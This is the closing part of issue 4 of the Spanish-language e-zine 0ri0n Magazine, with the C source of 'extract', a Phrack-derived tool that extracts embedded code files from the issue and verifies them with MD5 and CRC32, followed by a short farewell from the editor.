Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>


c22z3Cg=
=mHtY
-----END PGP PUBLIC KEY BLOCK-----
[--]


<EOF>


-[ 4x19.txt ]----------------------------------------------------------------
-[ Extract ]-------------------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ staff@otv.org.ve ]-
 
 Con este programa puedes extraer tanto las fuentes dentro de los articulo, 
 como articulo por articulo; este archivo fue originalmente escrito  por el 
 staff  de  Phrack  y el que usamos ahora fue modificado por  la  gente  de
 NetSearch.
 
 Modos de Uso:
 
 1. Primero que todo ejecuta el archivo ./extract que trae esta revista, si
    no funciona entonces compila el fuente que esta mas abajo.
 2. Para extraer todo el codigo que esta dentro de esta revista haz:
 
    ./extract *

 3. Para Separar los articulos haz:
 
    ./extract -s 0ri0n-4.txt
    

  Aqui esta el fuente de extract.

[++] extract.c $5b0511c9d07163c808d9cc4b698b72fe
/*
 *  Original: Phrack Staff (r)
 *  Re-programacion: NetSearch - http://www.netsearch-ezine.com
 *
 *  El programa extrae archivos incluidos (codigos fuente y demas) incluidos
 *  dentro del e-zine. 
 *
 *  Con el modificador [-s] se separaran los articulos del e-zine en archivos
 *  separados numerados.
 *
 *  Compilacion: 
 *  gcc extract.c
 -o extract
 *
 *  ./extract [-s] archivo1 archivo2 archivo3  ...
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <dirent.h>

#define BEGIN_TAG   "[++] "
#define END_TAG     "[--]"
#define BT_SIZE     strlen(BEGIN_TAG)
#define ET_SIZE     strlen(END_TAG)
#define SPLIT_TAG  "-[ 4x"
#define SPLIT_SIZE strlen(SPLIT_TAG)

struct f_name
{
    unsigned char name[256];
    struct f_name *next;
};

#ifdef __alpha
typedef unsigned int uint32;
#else
typedef unsigned long uint32;
#endif

struct MD5Context
{
   uint32 buf[4];
   uint32 bits[2];
   unsigned char in[64];
};

void MD5Init(struct MD5Context *context);
void MD5Update(struct MD5Context *context, unsigned char const *buf,
               unsigned len);
void MD5Final(unsigned char digest[16], struct MD5Context *context);
void MD5Transform(uint32 buf[4], uint32 const in[16]);

typedef struct MD5Context MD5_CTX;

#ifndef HIGHFIRST
#define byteReverse(buf, len)
#else
void byteReverse(unsigned char *buf, unsigned longs);

#ifndef ASM_MD5
void byteReverse(unsigned char *buf, unsigned longs)
{
    uint32 t;
    do {
        t = (uint32) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
            ((unsigned) buf[1] << 8 | buf[0]);
        *(uint32 *) buf = t;
        buf += 4;
    } while (--longs);
}
#endif
#endif

void MD5Init(struct MD5Context *ctx)
{
    ctx->buf[0] = 0x67452301;
    ctx->buf[1] = 0xefcdab89;
    ctx->buf[2] = 0x98badcfe;
    ctx->buf[3] = 0x10325476;

    ctx->bits[0] = 0;
    ctx->bits[1] = 0;
}

void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len)
{
    uint32 t;

    t = ctx->bits[0];
    if ((ctx->bits[0] = t + ((uint32) len << 3)) < t)
        ctx->bits[1]++;
    ctx->bits[1] += len >> 29;

    t = (t >> 3) & 0x3f;


    if (t) {
        unsigned char *p = (unsigned char *) ctx->in + t;

        t = 64 - t;
        if (len < t) {
            memcpy(p, buf, len);
            return;
        }
        memcpy(p, buf, t);
        byteReverse(ctx->in, 16);
        MD5Transform(ctx->buf, (uint32 *) ctx->in);
        buf += t;
        len -= t;
    }

    while (len >= 64) {
        memcpy(ctx->in, buf, 64);
        byteReverse(ctx->in, 16);
        MD5Transform(ctx->buf, (uint32 *) ctx->in);
        buf += 64;
        len -= 64;
    }

    memcpy(ctx->in, buf, len);
}

void MD5Final(unsigned char digest[16], struct MD5Context *ctx)
{
    unsigned count;
    unsigned char *p;

    count = (ctx->bits[0] >> 3) & 0x3F;

    p = ctx->in + count;
    *p++ = 0x80;

    count = 64 - 1 - count;

    if (count < 8) {

        memset(p, 0, count);
        byteReverse(ctx->in, 16);
        MD5Transform(ctx->buf, (uint32 *) ctx->in);

        memset(ctx->in, 0, 56);
    } else {
        memset(p, 0, count - 8);
    }
    byteReverse(ctx->in, 14);

    ((uint32 *) ctx->in)[14] = ctx->bits[0];
    ((uint32 *) ctx->in)[15] = ctx->bits[1];

    MD5Transform(ctx->buf, (uint32 *) ctx->in);
    byteReverse((unsigned char *) ctx->buf, 4);
    memcpy(digest, ctx->buf, 16);
    memset(ctx, 0, sizeof(ctx));
}

#ifndef ASM_MD5

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data,  w = w<<s | w>>(32-s),  w += x )

void MD5Transform(uint32 buffer[4], uint32 const in[16])
{
    register uint32 a, b, c, d;

    a = buffer[0];
    b = buffer[1];
    c = buffer[2];
    d = buffer[3];

    MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
    MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
    MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
    MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
    MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
    MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
    MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
    MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
    MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
    MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
    MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
    MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
    MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
    MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
    MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
    MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

    MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
    MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
    MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
    MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
    MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
    MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
    MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
    MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
    MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
    MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
    MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
    MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
    MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
    MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
    MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
    MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

    MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
    MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
    MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
    MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
    MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
    MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
    MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
    MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
    MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
    MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
    MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
    MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
    MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
    MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
    MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
    MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

    MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
    MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
    MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
    MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
    MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
    MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
    MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
    MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
    MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
    MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
    MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
    MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
    MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
    MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
    MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
    MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

    buffer[0] += a;
    buffer[1] += b;
    buffer[2] += c;
    buffer[3] += d;
}

#endif

int hex_digit(int c)
{
        if (c >= '0' && c <= '9')
                return c - '0';
        if (c >= 'a' && c <= 'f')
           return c - 'a' + 10;
        return -1;
}

int mdfile(FILE *archivo, unsigned char *digest)
{
        unsigned char buffer[1024];
        MD5_CTX ctx;
        int n;


        fseek(archivo,0,SEEK_SET);
        MD5Init(&ctx);
        while ((n = fread(buffer, 1, sizeof(buffer), archivo)) > 0)
                MD5Update(&ctx, buffer, n);
        MD5Final(digest, &ctx);
        if (ferror(archivo))
                return -1;
        return 0;
}

unsigned long crcTable[256];

void crcgen()
{
  unsigned long crc, poly;
  int i, j;
  poly = 0xEDB88320L;
  for (i=0; i<256; i++) {
     crc = i;
     for (j=8; j>0; j--) {
       if (crc&1) {
           crc = (crc >> 1) ^ poly;
       }
       else {
           crc >>= 1;
       }
     }
     crcTable[i] = crc;
  }
}

unsigned long check_crc( FILE *fp )
{
   register unsigned long crc;
   int c;

   crc = 0xFFFFFFFF;
   while( (c=getc(fp)) != EOF ) {
         crc = ((crc>>8) & 0x00FFFFFF) ^ crcTable[ (crc^c) & 0xFF ];
   }

   fseek(fp,0,SEEK_SET);

   return( crc^0xFFFFFFFF );

}

void tmp_digest(unsigned char *p, unsigned char *digest_tmp)
{
        int i;

        for (i = 0; i < 16; ++i)
           sprintf(&digest_tmp[i*2],"%02x", *p++);
}

int main(int argc, char **argv)
{
    unsigned char b[256], *bp, *fn, *tmp;
    unsigned char digest_f[32];
    int i, i2=1, j = 0, h_c = 0, k,h_md5,d1=0,d2=0,modo_split=0;
    unsigned long crc=0, crc_f=0;
    unsigned char digest[16], digest_tmp[32];
    FILE *in_p, *out_p = NULL, *separado;
    struct f_name *fn_p = NULL, *head = NULL;

    if (argc < 2)
      {
        printf("Uso: %s [-s] archivo1 archivo2 ... archivo-n\n", argv[0]);
        exit(0);
      }

    if((argv[1][0] == '-')&&(argv[1][1]=='s')&&(strlen(argv[1])<3))
    {
      modo_split=1;
      i2=2;
    }       
        
    for (i = i2; (fn = argv[i++]); )
      {
        if (!head)
	  {
            if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
	      {
                perror("malloc");
                exit(1);
	      }
            strncpy(head->name, fn, sizeof(head->name));
            head->next = NULL;
            fn_p = head;
	  }

        else
	  {
            if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
	      {
                perror("malloc");
                exit(1);
	      }
            fn_p = fn_p->next;
            strncpy(fn_p->name, fn, sizeof(fn_p->name));
            fn_p->next = NULL;
	  }
      }

    if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
      {
        perror("malloc");
        exit(1);
      }
    fn_p = fn_p->next;
    fn_p->next = NULL;

if(modo_split==1)
{
      for(fn_p = head; fn_p -> next;fn_p = fn_p->next)
      {
      	if(!(in_p=fopen(fn_p->name,"r")))
        {
          fprintf(stderr,"No se puede abrir el archivo original especificado: %s\n",fn_p->name);
          continue;
        }
        else
        { 
	  fprintf(stderr, "%s abierto.\n", fn_p->name);
        
        tmp=fn_p->name;

	separado=fopen("4x00.txt","w");
	fprintf(stderr,"Separando 4x00.txt\n");

        while(fgets(b,256,in_p))
        {
          if(!strncmp(b,SPLIT_TAG,SPLIT_SIZE))
          {
            b[strlen(b) -1 ]=0;

            if((bp=strchr(b + SPLIT_SIZE + 1,' ')))
            { 
              *bp=0;
	      if((separado=fopen(strncat(b + SPLIT_SIZE-2,"",4),"w"))==NULL)
              {
              	printf("No se puede crear %s\n",b);
                continue;
		}
              fprintf(stderr,"Separando %s\n",b +SPLIT_SIZE-2);
            }
	    *bp='.';
            fprintf(separado,"%s",b);
            fprintf(separado," ]----------------------------------------------------------------\n");
          }
          else
              fprintf(separado,"%s",b);
	}
      }
    }
}
else
{
    for (fn_p = head; fn_p->next; fn_p = fn_p->next)
    {
        if (!(in_p = fopen(fn_p->name, "r")))
        {
            fprintf(stderr, "No se puede abrir el archivo original %s.\n", fn_p->name);
            continue;
        }
        else fprintf(stderr, "%s abierto\n", fn_p->name);

        crcgen();

        while (fgets(b, 256, in_p))
        {
             if (!strncmp (b, BEGIN_TAG, BT_SIZE))
             {
                b[strlen(b) - 1] = 0;
                j++;

                /* crc=0;
                   crc_f=0;    X-DDD */

                if ((bp = strchr(b + BT_SIZE + 1, '/')))
                {
                    while (bp)
                    {
                        *bp = 0;
                        mkdir(b + BT_SIZE, 0700);
                        *bp = '/';
                        bp = strchr(bp + 1, '/');
                    }
                }


                if((bp=strchr(b,'!')))
                {
                   crc_f=strtoul((b + (strlen(b)-strlen(bp)) + 1),NULL,16);
                   b[strlen(b) - strlen(bp) - 1 ]=0;
                   h_c=1;
                   h_md5=0;
                }
                else
                {
                   h_c=0;
                   if((bp=strchr(b,'$')))
                   {
                        d2=0;
                        if(strlen(bp) < 33)
                           d2=1;
                        memcpy(&digest_f,bp+1,32);
			digest_f[32]='\0';
                        b[strlen(b) - strlen(bp) - 1] =0;
                        h_md5=1;
                   }
                   else
                   {
                      h_c=0;
                      h_md5=0;
                   }
                }

                if ((out_p = fopen(b + BT_SIZE, "wb+")))
                   printf("- Extrayendo %s\n ", b + BT_SIZE);
                else
                {
                    printf("No se puede extraer '%s'.\n", b + BT_SIZE);
                    continue;
                }

             }

             else if (!strncmp (b, END_TAG, ET_SIZE))
             {
                if (out_p)
                {
                    if(h_c==1)
                    {
                        fseek(out_p,0l,0);
                        crc=check_crc(out_p);

                        if(crc==crc_f)
                           printf("            crc32 = %08lx  ... comprobado\n ",crc);
                        else
                           printf("            crc32 -> %08lx - %08lx  no coincide!\n ",crc,crc_f);

                    }
                    if(h_md5==1)
                    {
                        mdfile(out_p,digest);
                        tmp_digest(digest,digest_tmp);

                        for(k=0;k<32;k++)
                        {
                           if(digest_f[k] != digest_tmp[k])
                              d1=1;
                        }
                        if(d1==0)
                           printf(" md5 : %s -- ok!\n",digest_f);
                        else
                        {
                           if(d2==0)
                                printf("  md5! %s  <-- md5 suministrado.\n",digest_f);
                           else
                                printf(" md5!  Codigo MD5 suministrado incompleto.\n");
                           printf("        %s  <-- md5 correcto.\n",digest_tmp);
			}   
                        d1=0;
                    }
                    /* nos vamos */
                    fclose(out_p);

                }
                else
                {
                    fprintf(stderr, "Error al cerrar el archivo %s.\n", fn_p->name);
                    continue;
                }
            }
            else if (out_p)
            {
                fputs(b, out_p);
            }
        }
    }
    if (!j) printf("No se han encontrado etiquetas de extraccion.\n");
    else printf("Extraidos %d archivo(s).\n", j);
    return (0);
}
}
[--]


<EOF>


-[ 4x20.txt ]----------------------------------------------------------------
-[ Esto es todo Amigos ... ]-----------------------------------[ El Editor ]-
--------------------------------------------------------[ kl0nk@otv.org.ve ]-


  Bueno Amigos,  esta  edicion  tres  (4)  ha  culminado, esperamos que nos 
  volvamos  a  ver  dentro   dentro  de  poco.  Si tienen alguna sugerencia, 
  colaboraciones, pueden enviarla a staff@otv.org.ve

  Sin mas nada que decir ......  Nos Vemos en la Proxima entrega y Gracias
  por leer 0ri0n Magazine.




    ...................................................................
   .:. Derechos Reservados (c) By  0ri0n  Team Venezuela - 2000-2002 .:.
   .:..:..:..:..:..:..:..:..:..:..:.:...:..:..:..:..:..:..:..:..:..:..:.


